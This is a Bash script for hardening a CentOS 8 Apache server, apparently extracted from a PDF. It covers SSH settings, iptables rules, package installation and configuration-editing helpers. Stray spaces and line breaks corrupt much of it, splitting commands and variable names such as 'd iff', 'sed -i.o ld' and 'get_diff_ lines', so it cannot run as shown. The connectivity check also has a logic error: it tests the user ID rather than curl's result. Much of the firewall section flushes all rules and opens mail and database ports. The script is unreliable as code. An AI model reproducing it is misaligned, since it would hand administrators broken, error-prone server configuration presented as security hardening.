RESOLVEDCONF='/etc/systemd/resolved.conf' 

NSSW ITCH='/etc/nsswitch.conf' 

RKHUNTER_PACKAGE='rkhunter'  

RKHUNTERCONF='/etc/rkhunter.conf'  

CLAMAV_PACKAGES='clamav clamav-update clamd ' 

CLAMAVCONF='/etc/clamd.d/scan.conf' 

CLAMAVSERVICE='/usr/lib/systemd/system/clamd@.service'  

CRON_DAILY_CLAMSCAN='/etc/cron.daily/user_clamscan' 

 

AIDE_PACKAGE='aide' 

AIDECONFIG='/etc/aide.conf'  

AIDE_CHECK_SERVICE='/etc/systemd/system/aidecheck.service'  

AIDE_CHECK_TIMER='/etc/systemd/system/aidecheck.timer'  

 

FAIL2BAN_PACKAGE='fail2ban' 

FAIL2BAN_CONFIG='/etc/fail2ban/jail.local'  

FAIL2BAN_SERVICE_SYMLINK='/etc/systemd/system/multi -user.target.wants/fail2ban.service' 

 

# Colors source: https://stackoverflow.com/questions/5947742/how-to-change-the-output-color-of-

echo-in-linux 

COLOR_DEFAULT="\e[39m"  

COLOR_GREEN="\e[32m"  

COLOR_RED="\e[91m"  

COLOR_BLUE='\033[0;34m' 

BOLD_BLUE='\033[1;34m' 

 

# Processes description 

array[0]="Prerequisites checks..." 

array[1]="SSH Hardening..." 

array[2]="Secure Bootloader..." 

array[3]=" Disabling unneeded modules..."  

array[4]="Secure mounts..." 

array[5]=" Configuring sysctl parameters..."  

array[6]=" Configure user limits..."  

array[7]=" Remove suid bits..." 

array[8]="Securing user and services host files..."  

array[9]=" Configuring TCP Wrappers..."  

array[10]="Configuring logindefs..."  

array[11]="Configuring loginconf..."  

array[12]=" Locking new users..." 

array[13]="Remove unneeded users..." 

array[14]="Disabling ipv6..." 

array[15]="Configuring DNS resolvers..."  

array[16]=" Locking cronjobs..." 

array[17]="Configuring logrotate..."  

array[18]=" Enable rkhunter..."  

array[19]=" Enable clamav..."  

array[20]=" Enable aide IDS..." 

array[21]=" Enable Fail2ban..." 

array[22]="IPTables Hardening..." 

array[23]="Apache Hardening..." 

array[24]="Mod Security..." 

array[25]="Mod Evasive..."  

array[26]="Auto cleanup..." 

array[27]="Checking fo r restart..."  

 

max_processes_num="27"  
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step='' 

IFS='' 

 

START=$(date +%s) 

 

#===  FUNCTION  ==========================================================  

#          NAME: script_logo 

#   DESCRIPTION: Print the logo of script 

#     PARAMETER: --- 

#==================================================================== ==== 

function script_logo() 

{ 

 echo 

 echo -e "${BOLD_BLUE}  ____           _               ___       _                     _            _   _               

_            _${COLOR_DEFAULT}"  

 echo -e "${BOLD_BLUE} / ___|___ _ __ | |_ ___  ___   ( _ )     / \   _ __   __ _  ___| |__   ___  

| | | | __ _ _ __ __| | ___ _ __ (_)_ __   __ _${COLOR_DEFAULT}"  

 echo -e "${BOLD_BLUE}| |   / _ \ |_ \| __/ _ \/ __|  / _ \    / _ \ | |_ \ / _\ |/ __| |_ \ / _ \ | |_| |/ _\ | 

|__/ _\ |/ _ \ |_ \ | | |_ \ / _\ |${COLOR_DEFAULT}"  

 echo -e "${BOLD_BLUE}| |__|  __/ | | | || (_) \__ \ | (_) |  / ___ \| |_) | (_| | (__| | | |  __/ |  _  | (_| | 

| | (_ | |  __/ | | | | | | | (_ | |${COLOR_DEFAULT}" 

 echo -e "${BOLD_BLUE} \____\___|_| |_|\__\___/|___/  \___/  /_/   \_\ .__/ \__,_|\___|_| 

|_|\___| |_ | |_|\__,_|_|  \__,_|\___|_| |_ |_|_| |_ |\__, |${COLOR_DEFAULT}"  

 echo -e "${BOLD_BLUE}                                               |_|                                                                     

|___/${COLOR_DEFAULT}" 

 echo -e "${BOLD_BLUE}${COLOR_DEFAULT}"  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: log_info  

#   DESCRIPTION: Print the input info text.  

#     PARAMETER: Text to print.  

#========================================================================  

function log_info { 

    echo -e "[${BOLD_BLUE}INFO${COLOR_DEFAULT}] $1"  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: log_info  

#   DESCRIPTION: Print the input info text.  

#     PARAMETER: Text to print.  

#========================================================================  

function log_error { 

    echo -e "${COLOR_RED}[ERROR] $1${COLOR_DEFAULT}"  

} 

 

#===  FUNCTION  ========================================================== 

#          NAME: backup_file  

#   DESCRIPTION: Backup a file.  

#     PARAMETER: Path to file.  

#========================================================================  

function backup_file { 

    cp $1{,.bak} 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: comment_parameter 

#   DESCRIPTION: Comment out a parameter in the configurat ion file.  

#    PARAMETERS: 1. parameter name (escaped special characters) 

#                       2. configuration file  path 
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#========================================================================  

function comment_parameter { 

    sed -i $2 -e "/$1/s/^/#/" 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: _exit  

#   DESCRIPTION: Terminate the script execution 

#     PARAMETER: --- 

#========================================================================  

function _exit() 

{ 

 # Check system delta  

 systemd-delta --no-pager 

 release_lock 

 END=$(date +%s) 

 DIFF=$(( $END - $START )) 

 secs=$DIFF 

 echo -n "The execution time is: " 

 printf '%dh:%dm:%ds\n' $(($secs/3600)) $(($secs%3600/60)) $(($secs%60)) 

 exit 1 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: acquire_lock 

#   DESCRIPTION: Create a lock file if not exists, 

#       otherwise print error message that lock file exists 

#     PARAMETER: --- 

#========================================================================  

function acquire_lock()  

{ 

 # echo ">>> Is going to check for lock file: $LOCK_FILE"  

 # if we don't have the lock file, start at zero  

 # if ! test -f "$LOCK_FILE"; then 

 if [ ! -f "$LOCK_FILE" ]; then 

  log_info "Lock file not found. So we will create one" 

  touch $LOCK_FILE 

 else # otherwise the hardening script is being executed 

  log_error "Found lock file: ${LOCK_FILE} which means the script 

${SCRIPT_NAME} is is being executed!" 

  log_error "If not, please remove the lock file ${LOCK_FILE}"  

  exit 1 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: release_lock 

#   DESCRIPTION: Remove the lock file from filesystem 

#     PARAMETER: --- 

#========================================================================  

function release_lock() 

{ 

 if [ -f " $LOCK_FILE"  ]; then 

  rm -rf $LOCK_FILE 

 else 

  log_info "Lock file not found to release lock"  

 fi 

} 

 

#===  FUNCTION  ==========================================================  
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#          NAME: retrieve_step 

#   DESCRIPTION: Retrieve the current step of step.dat file ,  

#       else in itialize the step to zero 

#     PARAMETER: --- 

#========================================================================  

function retrieve_step() 

{ 

 # if we don't have a file , start at zero 

 if [ ! -f "$FILE" ]; then 

   step=0 

   # log_info "Step file not found" 

 # otherwise read the step from the file  

 else 

   step=`cat $FILE` 

   log_info "Found step: ${step}" 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: increase_step 

#   DESCRIPTION: Increase the current step value by one 

#     PARAMETER: 1. currentStep value is passed in order to increased  

#========================================================================  

function increase_step() 

{ 

 currentStep=$1 

 [[ -z "$currentStep" ]] && { log_error "First parameter (currentStep) is empty in  function 

increase_step"; _exit; } 

 # increment the step 

 step=$((currentStep + 1)) 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: save_step 

#   DESCRIPTION: Save the currentStep into step.dat file 

#     PARAMETER: 1. currentStep value is passed in order to be saved 

#========================================================================  

function save_step() { 

 

 currentStep=$1 

 [[ -z "$currentStep" ]] && { log_error "First parameter (currentStep) is empty in  function 

save_step"; _exit; } 

 # show it to the user 

 # echo "step: ${currentStep}" 

 

 # and save it for next  time  

 echo "${currentStep}" > $FILE 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: get_value 

#   DESCRIPTION: Retrieve the value of processes description array  

#     PARAMETER: 1. currentStep value is passed 

#======================================================================== 

function get_value() 

{ 

 currentStep=$1 

 [[ -z "$currentStep" ]] && { log_error "First parameter (currentStep) is empty in  function 

get_value"; _exit; } 

 #for i in "${!array[@]}"  
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 #do 

 #  echo "key  : $i / value: ${array[$i]}"  

 #done 

 

 # Retrieve value from hash map ($array[$i]) 

 # echo "step value: ${array[$currentStep]}" 

 echo "${array[$currentStep]}" 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: get_diff_lines 

#   DESCRIPTION: Save the number o f different lines in the specified files to the 

#                variable "DIFF_LINES"  

#    PARAMETERS: 1. file  1 (e. g. "/boot/grub/grub.cfg") 

#                       2. file 2 (e. g . "/boot/grub/grub.cfg.bak") 

#========================================================================  

function get_diff_lines { 

    DIFF_LINES=$(d iff -y --suppress-common-lines $1 $2 | grep '^' | wc -l) 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: set_parameter 

#   DESCRIPTION: Set the parameters in the configuration file. If the parameter does not exist in  

#                      the configuration file , add it.  

#    PARAMETERS: 1. parameter name (escaped special characters) 

#                       2. parameter value (escaped special characters) 

#                       3. configuration path 

#                       4. OPTIONAL - prefix for value (default is the space) 

#======================================================================== 

function set_parameter { 

    grep -qE "^(#\s)?$1" $3 

    local EXIT_STATUS=$?  

    if [[ ${EXIT_STATUS} -ne 0 ]]; then 

        echo -e "$1${4-" "}$2" >> $3 

    else 

        sed -i.o ld -E "/^$1/c\\$1${4-" "}$2" $3 

        get_diff_lines $3 $3.o ld  

        grep -qE "^$1${4-" "}$2" $3 

        local EXIT_STATUS=$? 

        if [[ ${DIFF_LINES} -eq 0 ]] && [[ ${EXIT_STATUS} -ne 0 ]]; then 

            sed -i.old -E "/^(#)?$1/c\\$1${4-" "}$2" $3 

            get_diff_ lines $3 $3.old  

            if [[ ${DIFF_LINES} -eq 0 ]]; then 

                sed -i.old -E "/^(#\s)?$1/c\\$1${4-" "}$2" $3 

            fi 

        fi 

        rm $3.old  

    fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: set_permission 

#   DESCRIPTION: Set the ownership and permissions for a file.  

#    PARAMETERS: 1. ownership (e. g. "root:root") 

#                       2. permission (e. g. "0644") 

#                       3. file (e. g. "/boot/grub/grub.cfg") 

#========================================================================  

function set_permission { 

    chown $1 $3 

    chmod $2 $3 
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} 

 

#===  FUNCTION  ==========================================================  

#          NAME: set_permission_recursive 

#   DESCRIPTION: Set recursive ownership and permissions for a directory. 

#    PARAMETERS: 1. ownership (e. g. "root:root") 

#                       2. permission (e. g. "0644") 

#                       3. d irectory (e. g. "/boot/grub/") 

#========================================================================  

function set_permission_recursive { 

    chown -R $1 $3 

    chmod -R $2 $3 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: install_packages 

#   DESCRIPTION: Iterrate over passed packages and install them one by one 

#    PARAMETERS: 1. packages: list of packages is passed for installation  

#========================================================================  

function install_packages()  

{ 

 IFS=' ' 

    packages="$@" 

 for package in $packages; do 

  log_info "Is going to install the package: 

${COLOR_GREEN}"$package"${COLOR_DEFAULT}"  

  yum install -y $package 

 done 

 IFS='' 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: execute_full_update 

#   DESCRIPTION: Execute fu ll update 

#     PARAMETER: --- 

#========================================================================  

function execute_full_update() { 

 log_info "Is going to execute full update, please wait ..."  

 yum makecache 

 yum update -y 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: check_prerequisites 

#   DESCRIPTION: Check prerequisites in order to continue the script execution  

#     PARAMETER: --- 

#========================================================================  

function check_prerequisites() 

{ 

 if [ $EUID -ne 0 ]; then 

  log_error "This script must be run with root priv ileges." 

  _exit  

 fi 

 log_info "Script stared with root privileges" 

  

 # test an internet connection 

 curl 1.1.1.1 2> /dev/null 1>&2 

 if [ ${UID} -ne 0 ]; then 

  log_error "No internet connection found!" 

  _exit  
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 fi 

 log_info "Internet connection found" 

 

 if ! cat /etc/centos-release | grep 'CentOS' | g rep '8' 2> /dev/null 1>&2; then 

  log_error "Unsupported Linux distribution. Only CentOS 8 Supported" 

  _exit  

 fi 

 log_info "Centos 8 OS found" 

 

 if ! bash --version | grep -i 'bash' 2> /dev/null 1>&2; then 

  log_error "Please install bash to continue.." 

  _exit  

 fi 

 log_info "Bash found" 

 

 if ! [ -x " $(which systemctl)" ]; then 

  log_error "systemctl required. Unsupported setup.." 

  _exit  

 fi 

 log_info "Systemctl found" 

  

 execute_full_update 

  

 if ! test -f "$HTTPD_CONF"; then 

  log_info "$HTTPD_CONF apache config file not found." 

  log_info "Is going to install apache, please wait..."  

  yum install httpd 

  service httpd start 

  chkconfig httpd on 

  touch $HTTPD_HTML 

  index_page=$(cat <<EOF 

<!DOCTYPE html> 

<html> 

 <head> 

  <title>Centos 8 Apache Hardening Script</tit le> 

 </head> 

 <body> 

  <h1>Centos 8 Apache Hardening Script</h1> 

  <p>It works!</p> 

 </body> 

</html> 

EOF 

) 

  append_config "$index_page" $HTTPD_HTML 

 fi 

 log_info "Apache Web Server found" 

 

 if ! test -f "$IPTABLES_CONFIG";  then 

  log_info "$IPTABLES_CONFIG firewall config file not found." 

  log_info "Is going to install iptables package, please wait..."  

  systemctl stop firewalld 

  systemctl disable firewalld  

  systemctl mask --now firewalld  

  install_packages $IPTABLES_PACKAGE 

  systemctl start iptables 

  systemctl enable iptables 

  systemctl status iptables --no-pager 

 fi 

 log_info "IPtables found" 
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 # Install some prerequisites packages 

 install_packages $PREREQUISITES_PACKAGES 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: iptables_hardening 

#   DESCRIPTION: Apply iptable hardening rules as part of security hardening process 

#     PARAMETER: --- 

#========================================================================  

function iptables_hardening () 

{ 

 if test -f "$IPTABLES_CONFIG"; then 

  log_info "Is going to apply iptables hardening rules, please wait..."  

  # source: https://raiyanlive.wordpress.com/2016/09/02/hardening-server-security-

using-iptables/ 

  # Modify this file accordingly for your specific requirement. 

  # 1. Delete all existing ru les  

  log_info "Delet ing all existing rules" 

  iptables -F 

 

  # 2. Set default chain policies  

  # iptables -P INPUT DROP 

  # iptables -P FORWARD DROP 

  # iptables -P OUTPUT DROP 

 

  # 3. Block a specific ip-address 

  BLOCK_THIS_IP="192.168.1.254" 

  log_info "Blocking a specific ip-address: $BLOCK_THIS_IP" 

  iptables -A INPUT -s "$BLOCK_THIS_IP" -j DROP 

   

  INTERFACE_NAME='eth1' 

 

  # 4. A llow ALL incoming SSH 

  log_info "Allowing ALL incoming SSH"  

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 22 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 22 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 5. A llow incoming SSH only from a sepcific network 

  # EXTERNAL_NET=`ip  -f inet a show eth0 | grep inet| awk '{print $2}'`  # 

e.g. inet address of eht1 network 172.28.128.20/24 

  EXTERNAL_NET='192.168.1.0/24'  

  log_info "Allowing incoming SSH only from a sepcific network: 

$EXTERNAL_NET" 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp -s $EXTERNAL_NET --dport 22 

-m state --state NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 22 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 6. A llow incoming HTTP 

  log_info "Allowing incoming HTTP" 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 80 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 80 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # Allow incoming HTTPS 

  log_info "Allowing incoming HTTPS"  
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  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 443 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 443 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 7. MultiPorts (Allow incoming SSH, HTTP, and HTTPS)  

  # iptables -I INPUT -i $INTERFACE_NAME -p tcp -m mult iport --dports 22,80,443 

-m state --state NEW,ESTABLISHED -j ACCEPT 

  # iptables -I OUTPUT -o $INTERFACE_NAME -p tcp -m mult iport --sports 

22,80,443 -m state --state ESTABLISHED -j ACCEPT 

 

  # 8. A llow outgoing SSH 

  log_info "Allowing outgoing SSH" 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --dport 22 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --sport 22 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 9. A llow outgoing SSH only to a specific network 

  log_info "Allowing outgoing SSH only to a specific network"  

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp -d $EXTERNAL_NET --dport 

22 -m state --state NEW,ESTABLISHED -j ACCEPT 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --sport 22 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 10. Allow outgoing HTTPS 

  log_info "Allowing outgoing HTTPS"  

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --dport 443 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --sport 443 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 12. Ping from inside to outside 

  log_info "Ping from inside to outside" 

  iptables -I OUTPUT -p icmp --icmp-type echo-request -j ACCEPT 

  iptables -I INPUT -p icmp --icmp-type echo-reply -j ACCEPT 

 

  # 13. Ping from outside to inside 

  log_info "Ping from outside to inside" 

  iptables -I INPUT -p icmp --icmp-type echo-request -j ACCEPT 

  iptables -I OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT 

 

  # 14. Allow loopback access 

  log_info "Allowing loopback access" 

  iptables -I INPUT -i lo -j ACCEPT 

  iptables -I OUTPUT -o lo -j ACCEPT 

 

  # 15. Allow packets from internal network to reach external network.  

  # if eth1 is connected to external network (internet) 

  # if eth0 is connected to internal network (192.168.1.x)  

  # iptables -I FORWARD -i $INTERFACE_NAME -o eth0 -j ACCEPT 

 

  # 16. Allow outbound DNS 

  log_info "Allowing outbound DNS"  

  iptables -I OUTPUT -p udp -o $INTERFACE_NAME --dport 53 -j ACCEPT 

  iptables -I INPUT -p udp -i $INTERFACE_NAME --sport 53 -j ACCEPT 

 

  # 18. Allow rsync from a specific network 

  log_info "Allowing rsync from a specific network"  
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  iptables -I INPUT -i $INTERFACE_NAME -p tcp -s $EXTERNAL_NET --dport 

873 -m state --state NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 873 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 19. Allow MySQL connection only from a specific network 

  log_info "Allowing MySQL connection only from a specific network"  

  iptables -I INPUT -i $INTERFACE_NAME -p tcp -s $EXTERNAL_NET --dport 

3306 -m state --state NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 3306 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 20. Allow Sendmail o r Postfix 

  log_info "Allowing Sendmail o r Postfix"  

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 25 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 25 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 21. Allow IMAP and IMAPS 

  log_info "Allowing IMAP and IMAPS" 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 143 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 143 -m state --state 

ESTABLISHED -j ACCEPT 

 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 993 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 993 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 22. Allow POP3 and POP3S 

  log_info "Allowing POP3 and POP3S"  

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 110 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 110 -m state --state 

ESTABLISHED -j ACCEPT 

 

  iptables -I INPUT -i $INTERFACE_NAME -p tcp --dport 995 -m state --state 

NEW,ESTABLISHED -j ACCEPT 

  iptables -I OUTPUT -o $INTERFACE_NAME -p tcp --sport 995 -m state --state 

ESTABLISHED -j ACCEPT 

 

  # 23. Prevent DoS attack 

  log_info "Preventing DoS attack" 

  iptables -I INPUT -p tcp --dport 80 -m limit --limit  25/minute --limit -burst 100 -j 

ACCEPT 

 

  # 24. Port forward ing 80 to 8080 

  # iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 #  

Can not access from outside 

     

  # iptables-save > /etc/sysconfig/iptables 

  # log_info "Saved iptables into /etc/sysconfig/iptables" 

  service iptables save 

  log_info "Saved iptables successfully!" 

  iptables -nvL 

  systemctl restart iptables 

  iptables-restore < /etc/sysconfig/iptables 

  log_info "Restored iptables successfully!"  
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  # systemctl start firewalld 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: ssh_hardening 

#   DESCRIPTION: Install and harden ssh server. 

#     PARAMETER: --- 

#========================================================================  

function ssh_hardening () 

{ 

    log_info "Installing ssh server." 

    install_packages 'openssh-server' 

 

    log_info "Backing up ssh configuration files."  

    backup_file ${SSHD_CONFIG} 

    backup_file ${SSHD_PAM} 

  

 log_info "Stopping ssh server." 

    systemctl stop sshd 

 

    log_info "Changing ssh port from input." 

 SSH_PORT="22" 

    log_info "Configuring ssh port to ${SSH_PORT}."  

    set_parameter "Port" ${SSH_PORT} ${SSHD_CONFIG} 

 

    log_info "Disabling the banner message from motd."  

    comment_parameter "^session[ ]*optional[ ]*pam_motd.so[ ]*motd=\/run\/motd.dynamic" 

${SSHD_PAM} 

    comment_parameter "^session[ ]*optional[ ]*pam_motd.so[ ]*noupdate" ${SSHD_PAM}  

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.15 

    log_info "Configuring the text, that is shown before the authorization when an ssh session is 

connected." 

    backup_file ${ISSUE_NET} 

    echo "********************************************************************" > 

${ISSUE_NET} 

    echo "*                                                                  *" >> ${ISSUE_NET} 

    echo "* This system is fo r the use of authorized users only.  Usage of   *" >> ${ISSUE_NET}  

    echo "* this system may be monitored and recorded by system personnel.   *" >> ${ISSUE_NET}  

    echo "*                                                                  *" >> ${ISSUE_NET}  

    echo "* Anyone using this system expressly consents to such monitoring   *" >> ${ISSUE_NET}  

    echo "* and is advised that if such monitoring reveals possible          *" >> ${ISSUE_NET} 

    echo "* evidence of criminal act ivity, system personnel may provide the  *" >> ${ISSUE_NET}  

    echo "* evidence from such monitoring to law enforcement officials.      *" >> ${ISSUE_NET}  

    echo "*                                                                  *" >> ${ISSUE_NET} 

    echo "********************************************************************" >> 

${ISSUE_NET} 

    set_parameter " Banner" "/etc/issue.net" ${SSHD_CONFIG} 

 

    # log_info "Disabling password authentication." 

    # set_parameter "PasswordAuthentication" "no" ${SSHD_CONFIG}  

 

    log_info "Enabling public key authentication." 

    set_parameter "PubkeyAuthentication" "yes" ${SSHD_CONFIG}  

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.7 

    log_info "Disabling the authentication of throughtrusted hosts via the user."  

    set_parameter " HostbasedAuthentication" "no" ${SSHD_CONFIG}  

    set_parameter " RhostsRSAAuthentication" "no" ${SSHD_CONFIG}  
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    log_info "Disabling challenge-response authentication." 

    set_parameter " ChallengeResponseAuthentication" "no" ${SSHD_CONFIG}  

 

    log_info "Disabling GSSAPI authentication." 

    set_parameter " GSSAPIAuthentication" "no" ${SSHD_CONFIG}  

 

    log_info "Disabling RSA authentication." 

    set_parameter " RSAAuthentication" "no" ${SSHD_CONFIG}  

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.6 

    log_info "Disabling .rhosts and .shosts files in RhostsRSAAuthentication or 

HostbasedAuthentication." 

    set_parameter "IgnoreRhosts" "yes" ${SSHD_CONFIG} 

 

    log_info "Disabling the use of DNS in SSH."  

    set_parameter " UseDNS" "no" ${SSHD_CONFIG} 

 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Disabling TCP forwarding."  

    set_parameter "AllowTcpForwarding" "no" ${SSHD_CONFIG}  

 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Disabling sending TCP keepalive messages to the other side." 

    set_parameter "TCPKeepAlive" "no" ${SSHD_CONFIG} 

 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Disabling compression." 

    set_parameter " Compression" "no" ${SSHD_CONFIG} 

 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Separating privileges by creating an unprivileged child process to deal with incoming 

network traffic to SANDBOX."  

    set_parameter " UsePriv ilegeSeparat ion" "SANDBOX" ${SSHD_CONFIG}  

 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Disabling ssh-agent forwarding." 

    set_parameter "AllowAgentForward ing" "no" ${SSHD_CONFIG}  

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.2 

    log_info "Configuring protocol to version 2."  

    set_parameter "Protocol" "2" ${SSHD_CONFIG} 

 

    log_info "Configuring logging levels to verbose." 

    set_parameter " LogLevel" " VERBOSE" ${SSHD_CONFIG}  

 

    log_info "Disabling X11 forward ing." 

    set_parameter " X11Forward ing" "no" ${SSHD_CONFIG} 

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.5 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Configuring the maximum number of authentication attempts permitted pe r connection to 

2." 

    set_parameter "MaxAuthTries" "2" ${SSHD_CONFIG} 

 

    # Lynis recommendation [test:SSH-7408] 

    log_info "Configuring the maximum number of open shell, login or subsystem (e.g. sftp) sessions 

permitted per network connection to 2."  

    set_parameter "MaxSessions" "2" ${SSHD_CONFIG} 
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    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.8 

    log_info "Disabling root logins." 

    set_parameter "PermitRootLogin" "no" ${SSHD_CONFIG}  

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.11 

    log_info "Configuring ciphers and algorithms."  

    set_parameter "KexAlgorithms" "curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-

nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256" ${SSHD_CONFIG} 

    set_parameter "Ciphers" "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-

gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr" ${SSHD_CONFIG} 

    set_parameter "MACs" "hmac-sha2-512-etm@openssh.com,hmac-sha2-256-

etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-

128@openssh.com" ${SSHD_CONFIG} 

    awk '$5 >= 3071' /etc/ssh/moduli > /etc/ssh/moduli.tmp && mv /etc/ssh/moduli.tmp /etc/ssh/moduli 

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.12 

    log_info "Configuring the idle timeout interval to 300 seconds ${DECORATION_DIM_ON}(5 

minutes)${DECORATION_DIM_OFF}." 

    set_parameter " ClientAliveInterval" "300" ${SSHD_CONFIG}  

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.13 

    log_info "Configuring the time allowed for successful authentication to the SSH server to 60 seconds 

${DECORATION_DIM_ON}(1 minute)${DECORATION_DIM_OFF}."  

    set_parameter " LoginGraceTime" "60" ${SSHD_CONFIG} 

 

    # CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.14 

    log_info "Adding current user to ssh group." 

 groupadd ssh 

    usermod -a -G ssh ${CURRENT_USER} 

    log_info "Configuring SSH access only to 

${DECORATION_BOLD_ON}\"ssh\"${DECORATION_BOLD_OFF} group."  

    set_parameter "AllowGroups" "ssh" ${SSHD_CONFIG}  

 

    log_info "Starting shh service." 

    systemctl start sshd 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: apache_restart 

#   DESCRIPTION: Restart apache web server 

#     PARAMETER: --- 

#========================================================================  

function apache_restart() 

{ 

 sleep 2 

 log_info "Apache restart is being executed, please wait..."  

 apachectl restart 

 if ! apachectl status | grep 'active (running)' 2> /dev/null 1>& 2; then 

  log_error "Restart apache has failed!" 

  # log_error "For more informat ion, please use: sudo journalctl -xe"  

  # systemctl status httpd.service 

  # journalctl -xe 

  _exit  

 else 

  log_info "Restart apache OK!"  

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: append_config 
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#   DESCRIPTION: Append configs to destination file  

#     PARAMETER: 1. config: configuration that is going to append to destination file  

#       2. destination_file: the file that is going to append the configs 

#========================================================================  

function append_config() 

{ 

 config=$1 

 destination_file=$2 

 [[ -z "$config" ]] && { log_error "First parameter (config) is empty in function 

append_config"; _exit; } 

 [[ -z "$destination_file" ]] && { log_error "Second parameter (destination_file) is empty in 

function append_config"; _exit; } 

 echo $config >> $destination_file  

} 

 

#===  FUNCTION  ============================================ ============== 

#          NAME: replace_configs  

#   DESCRIPTION: Replace configs based on passing directory and destination file  

#     PARAMETER: 1. directory: Specify the directory of the apache config file  

#       2. destination_file: The file that is going to be applied the configs  

#========================================================================  

function replace_configs() 

{ 

 directory=$1 

 [[ -z "$directory" ]] && { log_error "First parameter (d irectory) is empty in function 

replace_configs"; _exit; } 

 destination_file=$2 

 [[ -z "$destination_file" ]] && { log_error "Second parameter (destination_file) is empty in 

function replace_configs"; _exit; }  

  

 if [ "$d irectory" == "html" ]; then 

  sed -i '/<Directory "\/var\/www\/html">/,/<\/Directory>/ s/Options Indexes 

FollowSymLinks/Options -Indexes -FollowSymLinks -ExecCGI -Includes/' $destination_file  

  sed -i '/<Directory "\/var\/www\/html">/,/<\/Directory>/ s/Require all 

granted/Require all granted\n\n\t<LimitExcept GET POST HEAD>\n\t\tdeny from 

